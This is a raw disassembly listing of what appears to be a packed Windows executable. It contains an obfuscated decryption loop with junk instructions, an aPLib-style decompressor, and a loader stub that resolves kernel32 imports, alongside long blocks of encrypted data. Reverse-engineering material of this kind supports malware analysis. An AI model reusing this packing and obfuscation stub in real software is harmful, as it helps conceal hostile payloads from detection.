add esi, 6A6h
mov bx, 1502h
mov eax, 1688E850h
sub eax, 1688E6C8h
mov bx, si
loc_46033E: ; CODE XREF: sub_46030E+61j
mov edi, [esi]
mov ebx, edx
xor edi, 1ABF0653h
mov dl, 5
add edi, 0E752B90h
or ch, 0Ah
sub edi, 1C899C89h
mov cx, di
push edi
mov cl, 0C1h
pop dword ptr [esi]
sub esi, 2
mov dx, ax
dec esi
dec esi
movzx ecx, dx
sub eax, 1
jnz loc_46033E
sub dx, 3FD1h
xor edi, 29EA1265h
call sub_460394
jmp short near ptr loc_4603CD+2
sub_46030E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0E1h
dd 1DF4C706h, 19606392h, 0D58CBFDEh
; =============== S U B R O U T I N E =======================================
sub_460394 proc near ; CODE XREF: sub_46030E+72p
push ecx
pop esi
pop ebx
push ebx
jnp loc_4603B3
jmp loc_4603B3
; ---------------------------------------------------------------------------
db 0A8h
dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h
db 0B5h, 4Ah, 0BBh
; ---------------------------------------------------------------------------
loc_4603B3: ; CODE XREF: sub_460394+4j
; sub_460394+Aj
pop ecx
add ebx, 60Fh
jmp loc_4603CB
; ---------------------------------------------------------------------------
test [ebp-5Eh], ch
xor esi, eax
imul ebp, esi, 0FA251C8Fh
stosd
loc_4603CB: ; CODE XREF: sub_460394+26j
xor edx, edx
loc_4603CD: ; CODE XREF: sub_46030E+77j
mov eax, [ebx+edx]
mov ecx, 0AB86895h
sub eax, 7711B656h
push 38F48538h
call near ptr loc_4603F0+1
in al, 4Dh
add dl, [ebx] ; CODE XREF: .data:004603FDj
push eax
dec ecx
dec esi
outsd
jl short near ptr loc_4603F3+1
pop edx
loc_4603F0: ; CODE XREF: sub_460394+4Cp
mov esp, [esi-7Fh]
sub_460394 endp ; sp-analysis failed
loc_4603F3: ; CODE XREF: sub_460394+59j
mov dword ptr [ebp-7EA0A615h], 9D06D7F0h
jz short near ptr loc_4603E7+1
adc eax, [eax]
; ---------------------------------------------------------------------------
db 2 dup(0), 5Fh
dd 7B0A75ACh, 57D6F198h, 0F3622D44h, 4FAE29B0h, 0E881E5DCh
dd 603B9BC4h, 6686DE81h, 0B1500D65h, 13048FB4h, 14E8h
dd 6A550C00h, 36D1F85Bh, 0C20DA437h, 0E0910D3h, 1AC53C2Fh
dd 0D4C6814Bh, 5E66C407h, 0EA835957h, 6800F01h, 81000000h
dd 0C199CD1h, 4A4A4A49h, 0DC9121BEh, 0D8FA812Bh, 0FFFFFFAh
dd 0FFFF6085h, 0F9BF0FFFh, 0E8h, 895B5D00h, 895B5B5Dh
dd 89585F5Dh, 40D85h, 7D805800h, 5975015Ah, 4258589h, 8D600000h
dd 33503345h, 30FF64C0h, 8B208964h, 2E4E8C3h, 1CEB0000h
dd 824648Bh, 68F6764h, 0C4830000h, 458D6104h, 55FF5063h
dd 2DEE85Fh, 9EB0000h, 68F6764h, 0C4830000h, 1BEB24h, 460048h
dd 7C80B6A1h, 6E72656Bh, 32336C65h, 6C6C642Eh, 29CE800h
dd 8DFC0000h, 8CB5h, 0C00BAD00h, 0F88B1B74h, 0CB9h, 0EBA4F300h
dd 40100010h, 43442800h, 0A2111932h, 0C58B4B80h, 29A5896Ah
dd 6A000004h, 10006840h, 0B5FF0000h, 408h, 95FF006Ah, 3F0h
dd 1CC8589h, 9D8B0000h, 400h, 40D9D03h, 53500000h, 104E8h
dd 68406A00h, 1000h, 408B5FFh, 6A0000h, 3F095FFh, 85890000h
dd 431h, 1D08589h, 67640000h, 890000A1h, 42D85h, 5B558B00h
dd 1D0858Bh, 2890000h, 408858Bh, 42890000h, 9F858D04h
dd 8B000003h, 42895540h, 0EC858B08h, 89000003h, 858B1042h
dd 3E8h, 8B144289h, 1CC95h, 1F8BB00h, 7C8B0000h, 0FF0B0C1Ah
dd 4C8B1E74h, 0C90B101Ah, 0BD031174h, 1D0h, 141A748Bh
dd 0F9C1F203h, 83A5F302h, 0DAEB28C3h, 1CC858Bh, 8B500000h
dd 1D095h, 188B5200h, 858BDA03h, 3E4h, 858B0389h, 3E8h
dd 8B044389h, 3EC85h, 8438900h, 468B5E5Fh, 89C70304h, 1C785h
dd 5B558B00h, 1C7858Bh, 42890000h, 0D9D8D0Ch, 53000004h
dd 6A006Ah, 8B57016Ah, 0DF03085Eh, 80006853h, 6A0000h
dd 0F495FF56h, 68000003h, 3FE000h, 3A0000C3h, 3D000000h
db 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
pusha
push ebp
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
cld
mov dl, 80h
loc_460657: ; CODE XREF: .data:loc_460666j
mov al, [esi]
inc esi
mov [edi], al
inc edi
loc_46065D: ; CODE XREF: .data:004606BBj
; .data:00460700j ...
add dl, dl
jnz short loc_460666
mov dl, [esi]
inc esi
adc dl, dl
loc_460666: ; CODE XREF: .data:0046065Fj
jnb short loc_460657
add dl, dl
jnz short loc_460671
mov dl, [esi]
inc esi
adc dl, dl
loc_460671: ; CODE XREF: .data:0046066Aj
jnb short loc_4606BD
xor eax, eax
add dl, dl
jnz short loc_46067E
mov dl, [esi]
inc esi
adc dl, dl
loc_46067E: ; CODE XREF: .data:00460677j
jnb loc_46075A
add dl, dl
jnz short loc_46068D
mov dl, [esi]
inc esi
adc dl, dl
loc_46068D: ; CODE XREF: .data:00460686j
adc eax, eax
add dl, dl
jnz short loc_460698
mov dl, [esi]
inc esi
adc dl, dl
loc_460698: ; CODE XREF: .data:00460691j
adc eax, eax
add dl, dl
jnz short loc_4606A3
mov dl, [esi]
inc esi
adc dl, dl
loc_4606A3: ; CODE XREF: .data:0046069Cj
adc eax, eax
add dl, dl
jnz short loc_4606AE
mov dl, [esi]
inc esi
adc dl, dl
loc_4606AE: ; CODE XREF: .data:004606A7j
adc eax, eax
jz short loc_4606B8
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_4606B8: ; CODE XREF: .data:004606B0j
mov [edi], al
inc edi
jmp short loc_46065D
; ---------------------------------------------------------------------------
loc_4606BD: ; CODE XREF: .data:loc_460671j
mov eax, 1
loc_4606C2: ; CODE XREF: .data:loc_4606D6j
add dl, dl
jnz short loc_4606CB
mov dl, [esi]
inc esi
adc dl, dl
loc_4606CB: ; CODE XREF: .data:004606C4j
adc eax, eax
add dl, dl
jnz short loc_4606D6
mov dl, [esi]
inc esi
adc dl, dl
loc_4606D6: ; CODE XREF: .data:004606CFj
jb short loc_4606C2
sub eax, 2
jnz short loc_460705
mov ecx, 1
loc_4606E2: ; CODE XREF: .data:loc_4606F6j
add dl, dl
jnz short loc_4606EB
mov dl, [esi]
inc esi
adc dl, dl
loc_4606EB: ; CODE XREF: .data:004606E4j
adc ecx, ecx
add dl, dl
jnz short loc_4606F6
mov dl, [esi]
inc esi
adc dl, dl
loc_4606F6: ; CODE XREF: .data:004606EFj
jb short loc_4606E2
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_46065D
; ---------------------------------------------------------------------------
loc_460705: ; CODE XREF: .data:004606DBj
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_460713: ; CODE XREF: .data:loc_460727j
add dl, dl
jnz short loc_46071C
mov dl, [esi]
inc esi
adc dl, dl
loc_46071C: ; CODE XREF: .data:00460715j
adc ecx, ecx
add dl, dl
jnz short loc_460727
mov dl, [esi]
inc esi
adc dl, dl
loc_460727: ; CODE XREF: .data:00460720j
jb short loc_460713
cmp eax, 7D00h
jnb short loc_46074A
cmp eax, 500h
jb short loc_460745
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_46065D
; ---------------------------------------------------------------------------
loc_460745: ; CODE XREF: .data:00460735j
cmp eax, 7Fh
ja short loc_46074D
loc_46074A: ; CODE XREF: .data:0046072Ej
add ecx, 2
loc_46074D: ; CODE XREF: .data:00460748j
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_46065D
; ---------------------------------------------------------------------------
loc_46075A: ; CODE XREF: .data:loc_46067Ej
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_460776
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_46065D
; ---------------------------------------------------------------------------
loc_460776: ; CODE XREF: .data:00460762j
pop ebp
sub edi, [ebp+0Ch]
mov [ebp-4], edi
popa
pop ebp
retn 8
; ---------------------------------------------------------------------------
dw 261Ch
dd 448B7C80h, 252424h, 5FFFF00h, 10000h, 100002Dh, 38816600h
dd 0F4755A4Dh, 0F8858960h, 8B000003h, 3D88BD0h, 58033C40h
dd 0D9D8978h, 8D000003h, 3CC9Dh, 0E4BD8D00h, 8B000003h
dd 7CB58933h, 0E8000003h, 0Bh, 4C383ABh, 75003B83h, 60C361EAh
dd 30D9D8Bh, 4B8B0000h, 8BCA0320h, 0E8F20331h, 2Fh, 0CD75CEBFh
dd 74C73B49h, 4C18305h, 4B2BE9EBh, 0D1CA2B20h, 244B03E9h
dd 0B70FCA03h, 2E1C109h, 31C4B03h, 3098BCAh, 244C89CAh
dd 52C3611Ch, 3B248EBAh, 0C00AAC9Ch, 0D0321474h, 0EAD108B0h
dd 0F2810673h, 0C1A7F39Ah, 0F275C8FEh, 5A92E7EBh, 2551A7C3h
dd 493BF0B7h, 190257A7h, 0EE321390h, 0CD75CE74h, 49h, 80ADA000h
dd 80B6A17Ch, 801D777Ch, 809A517Ch, 809AE47Ch, 8000007Ch
dd 13C007Ch, 60B1C00h, 158F200h, 3000000h, 0
dd 2 dup(40h), 2 dup(0)
dd 1000000h, 2, 0FFA40000h, 0FFE00012h, 12h, 1000003Dh
dd 0D4000000h, 0E5820001h, 0F0000000h, 1C000001h, 14D60000h
dd 10000000h, 0D0000002h, 3B2D0000h, 44h dup(0)
dd 2000h, 8, 6 dup(0)
dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0)
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
dd 3 dup(0)
dd 60A10h, 609FCh, 3 dup(0)
dd 60AB4h, 60AD9h, 3 dup(0)
dd 60ABFh, 60AE1h, 3 dup(0)
db 0CCh
db 0Ah, 6, 0
; ---------------------------------------------------------------------------
jmp loc_4610AB
; ---------------------------------------------------------------------------
align 4
dd 4 dup(0)
dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h
dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB2BF400h
dd 71h, 126AEA00h, 77h, 812A0900h, 7Ch, 56000000h, 61697261h
dd 6843746Eh, 65676E61h, 65707954h, 7845h, 69615200h, 78456573h
dd 74706563h, 6E6F69h, 0
dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
dd 6592260h, 2801142Bh, 70122051h, 1A0A012Ah, 47F45001h
dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h, 9150BD24h
dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h, 8401E488h
dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h, 3968726Ch
dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h, 0DEE1D3Ah
dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
dd 8320720h, 3618391Ch, 100F7A14h, 80900C23h, 0BE5653C0h
dd 0C774074Ch, 3E8312h, 44683A75h, 0CC066701h, 0DFE8036Ah
dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h, 0ED859602h
dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
dd 3D0A043h, 0C795300h, 14751612h, 0E8130006h, 27D4DDA7h
dd 0A7F6096h, 4460100h, 4C50EB6Eh, 3B4E0003h, 0D75C215h
dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h, 9E2A26h
dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h, 30D476B9h
dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h, 68016A04h
dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh, 1C259332h
dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh, 0E4491312h
dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh, 2C05C700h
dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h, 0ED7E0460h
dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h, 0AD2B0C15h
dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h, 2E24249h
dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
dd 0E55D759h, 557E800h, 74772117h, 46FD0050h, 85764963h
dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
dd 19CCCB21h, 390BFBAh, 5CCDA7A0h, 7423A500h, 0E83A060Ch
dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h, 8400B175h
dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
dd 0E345947h, 7850F82h, 9FFF6A66h, 48EB704Bh, 81166B29h
dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h, 38832146h
dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
dd 1600C7ABh, 26239280h
db 8Bh
; ---------------------------------------------------------------------------
loc_46109D: ; CODE XREF: .data:loc_4610ABj
stc
lds ebx, [eax+199800FCh]
sbb al, 0E3h
or eax, 33630h
loc_4610AB: ; CODE XREF: .data:00460A9Cj
jnp short loc_46109D
push eax
out 0Bh, al ; DMA 8237A-5. mode register bits:
; 0-1: channel (00=0; 01=1; 10=2; 11=3)
; 2-3: transfer type (00=verify=Nop; 01=write; 10=read)
; 4: 1=enable auto-initialization
; 5: 1=address increment; 0=address decrement
; 6-7: 00=demand mode; 01=single; 10=block; 11=cascade
cmp ebx, [edi]
fiadd word ptr [eax]
jnb short loc_461111
ror bh, cl
push es
jz short loc_4610E6
rol dword ptr [eax], cl
mov ebp, [ecx]
jmp short loc_4610C6
; ---------------------------------------------------------------------------
align 2
dw 0B844h
db 89h, 0
; ---------------------------------------------------------------------------
loc_4610C6: ; CODE XREF: .data:004610BFj
dec edi
dec ebp
mov ecx, 208F5CF1h
test [ebx], eax
fcmovne st, st(2)
pop ds
mov dh, 59h
retn
; ---------------------------------------------------------------------------
align 2
dw 64B4h
dd 0B1892E39h, 0B2A5032Dh, 0F6B80811h
; ---------------------------------------------------------------------------
adc al, 49h
loc_4610E6: ; CODE XREF: .data:004610B9j
add dl, dh
dec eax
cmp al, 33h
inc eax
add ebp, ebx
xchg eax, esp
add [edx-6Bh], bh
pop es
mov ss, word ptr [edx-73h]
pop esp
add dword ptr [eax], 0EA9CEC28h
push 7F196626h
dec ebx
add [edi+edi*8+32h], ah
xor ecx, [ecx+30DA22h]
; ---------------------------------------------------------------------------
db 8Fh, 28h, 68h
db 1
; ---------------------------------------------------------------------------
loc_461111: ; CODE XREF: .data:004610B4j
add eax, [eax+7000413Dh]
db 65h
push ss
jle short loc_461125
and edx, [ebx]
pop es
add [ebp-11h], bl ; CODE XREF: .data:00461126j
popa
mov [edi-4Bh], ch
loc_461125: ; CODE XREF: .data:00461119j
sahf
jb short near ptr loc_46111E+2
mov word ptr [eax], es
adc al, 12h
push 0CCCA0FF8h
sbb [edi], al
mov ds:3D832D88h, eax
push eax
push es
sbb al, [edi+ebp-7A104800h]
popf
adc eax, 330E05h
leave
add al, 82h
hlt
; ---------------------------------------------------------------------------
dd 173D2A40h, 0DAF01h, 2770B841h, 7300BE2Ch, 847C62C8h
dd 52805C6h, 0EA0014Ah, 8CF5005Ah, 6D68100Ah, 87299707h
dd 0C3800F51h, 3BAF3E9h, 0E5EB14FEh, 5DF82EA0h, 53001BC4h
dd 86C8E74Ch, 3CC840Fh, 21D2A4D5h, 0C7971A4Ah, 0E068815Eh
dd 1291F0A1h, 0E74C29B0h, 0B24D0360h, 0D825F477h, 423C3Ah
dd 0A63D51D5h, 0E4B52EB3h, 39FE601h, 61B88993h, 117FDE4h
dd 153E3238h, 0E0535E57h, 0E9007505h, 0DA77CA51h, 1F3B1A94h
dd 80290A52h, 5BDBC2E4h, 537CE080h, 0A17C051Ch, 83390980h
dd 0B1528h, 480213DFh, 0E4F98108h, 7F27AD0Eh, 176D0038h
dd 0B79C985h, 0C183031Ch, 240968Eh, 0CD97D2D5h, 0EBF48100h
dd 51174A24h, 18460FDAh, 0F560F02Ch, 0D6780CBFh, 0AE158203h
dd 752D709h, 938C9D66h, 4AB590EBh, 0C100ED80h, 0EE030772h
dd 70FCF0Ch, 8112C216h, 7518F0FAh, 10009EE8h, 31185B9h
dd 0A08E534Fh, 1CA40BEh, 97F0E983h, 0C401761Ch, 7C0010FAh
dd 703C70Fh, 8B3034h, 2085D14Ch, 28A0D80Ch, 0F37C0400h
dd 0C981428Ah, 808703C8h, 0B260889h, 5FF1490h, 87B81C3Fh
dd 4EA83D0h, 0FCE2ABF0h, 7FE40186h, 15011217h, 11EB6020h
dd 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh, 2C2B5F02h, 13010D84h
dd 4A522A0Bh, 0A7701C0Ah, 4DB8C2h, 4D08B1FEh, 0E1339048h
dd 9149200h, 31742506h, 47F2Ah, 0A154B0DAh, 0AE802B64h
dd 1133C800h, 0B2FEC2F7h, 20AC1EE2h, 1F643EBh, 8AB8FAC7h
dd 72E0A746h, 0C62B0800h, 58EB703Bh, 8806001Eh, 2B64FE8h
dd 0DE00030Bh, 64455509h, 1FD8963Dh, 7A00733h, 20670AA9h
dd 3E5A250Bh, 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h
dd 4600FC32h, 8316A008h, 0FE7A23h, 0B02CC74Bh, 0B20994F8h
dd 13B34503h, 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h
dd 873D7FF3h, 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h
dd 91925304h, 0C37AC466h, 25F80F47h, 8D00EFA8h, 1157E746h
dd 822CF4h, 0B979EDD6h, 0D5C6301Eh, 0B5002B79h, 0AA6BE342h
dd 705AF813h, 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h
dd 0F82CEF9Eh, 1B00060h, 489C5A59h, 30006BE9h, 7389DFA0h
dd 2C0239BAh, 0D3C603h, 14095C1h, 990EFE81h, 0A137984Eh
dd 359AD285h, 0FAC2F4h, 4D2E4C9Bh, 0A5F49009h, 4410BC00h
dd 1D5C890Dh, 25B0013h, 3AEB1B87h, 431FE369h, 0C3001296h
dd 0E6BF5A92h, 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch
dd 84EF0017h, 1CCD1D33h, 0AE2E4BB3h, 1FC20057h, 0EA7E1180h
dd 8E099200h, 836252FDh, 0EB210307h, 1441A12Bh, 0B930C8C0h
dd 84421500h, 7448C51h, 591913CAh, 0A8870EAFh, 78962640h
dd 6B050969h, 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h
dd 8CE30835h, 468240FFh, 521D7C3Bh, 0D8400712h, 5FE82606h
dd 297B0099h, 4470119h, 9D030320h, 7449F30Bh, 0C63FC824h
dd 0E8170781h, 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h
dd 5EDF6Dh, 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h
dd 0C96C0094h, 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h
dd 0D7396C4h, 22075CAh, 73A905Ch, 0BEC6490Ch, 8DCC5EF0h
dd 2E527FE1h, 1C2FBAAh, 94B60CAh, 2E8FC882h, 8E90A23Bh
dd 0A03D02F8h, 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h
dd 0EAC55E03h, 98CDA984h, 0BF1620h, 0BD0B8291h, 0D4E19B80h
dd 775C5375h, 0B184007Fh, 881F1728h, 4C7E006Ch, 19920B7Bh
dd 7F1F31D7h, 0EBC38E43h, 90281F42h, 79F4BB74h, 16630026h
dd 67D10DE4h, 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah
dd 0F6D87AE9h, 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h
dd 4538153Dh, 0C400B3FEh, 288C3501h, 7AD9B1D6h, 0F30A024Bh
dd 4432CEEEh, 4C515160h, 3E66F51Dh, 0B0C0BC1Dh, 5658B61h
dd 0D33C0074h, 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch
dd 73D69DAh, 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h
dd 172DB68Dh, 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh
dd 0C9F4D5FAh, 2DE07B62h, 26006920h, 17210231h, 24C3838Eh
dd 53EEDCh, 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh
dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h
dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh
dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh
dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh
dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh
dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h
dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h, 88002449h
dd 643CA351h, 7522CFAh, 851F8D28h, 0F0671016h, 6A58BDD8h
dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h, 1E0051F1h
dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h
dd 80C125C3h, 53A92B5h, 7CED0D8h, 45C50154h, 0AAE9708Bh
dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah
dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h
dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh
dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h
dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h
dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h
dd 459F8Bh, 0D332988Eh, 25C688A2h, 3DA16900h, 0A521A636h
dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h
dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h, 3B01C8C7h
dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h
dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h
dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h
dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h
dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch, 84AEEADAh
dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h
dd 28AA18F2h, 6034214h, 0A819C735h, 2C16B050h, 0C1071CD2h
dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h
dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h
dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h
dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h, 0C40029F6h
dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh
dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h
dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh
dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h
dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h
dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h, 3821939Ch
dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h
dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h
dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h
dd 0F9D8E924h, 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h
dd 983D00E7h, 0AF0E026h, 0AA00040Dh, 5A03AFB0h, 0D105FFh
dd 0ED808A48h, 0B79BE40h, 4677E800h, 7AF68B81h, 0E9100008h
dd 0CB0126C3h
dd 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh, 0EDEDDDCh
dd 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h, 0C584B883h
dd 5ABC3Eh, 0C031B244h, 154C966h, 428F1E50h, 0DD105180h
dd 8BD2F80Fh, 110388F8h, 6905489h, 1F91D0C8h, 0C65F00CBh
dd 3916D7D8h, 770009F7h, 602F7413h, 2A7829h, 0F8A5F33Fh
dd 3E1831Dh, 18A4D207h, 0E177431h, 7C3AFC30h, 1950000Fh
dd 1AFD5311h, 6600CB58h, 6941C706h, 728143FCh, 4C4000Ch
dd 5086092Fh, 0EB391290h, 8A0FFF01h, 0E0D14003h, 0F576203Ch
dd 3B800007h, 530B7522h, 0CE2017Bh, 0C50558h, 34E6EB02h
dd 4FE255Fh, 1B1CC7FAh, 88508043h, 62070414h, 84135640h
dd 0DDD21B1h, 2E58F0D8h, 0ACD2C3h, 8028D818h, 9C7F3D07h
dd 0CD7C8B00h, 20CE5F61h, 42B700F5h, 14D66A27h, 800EE25h
dd 0C2F81CCBh, 788977h, 681E34E0h, 2C0B055Dh, 92148D03h
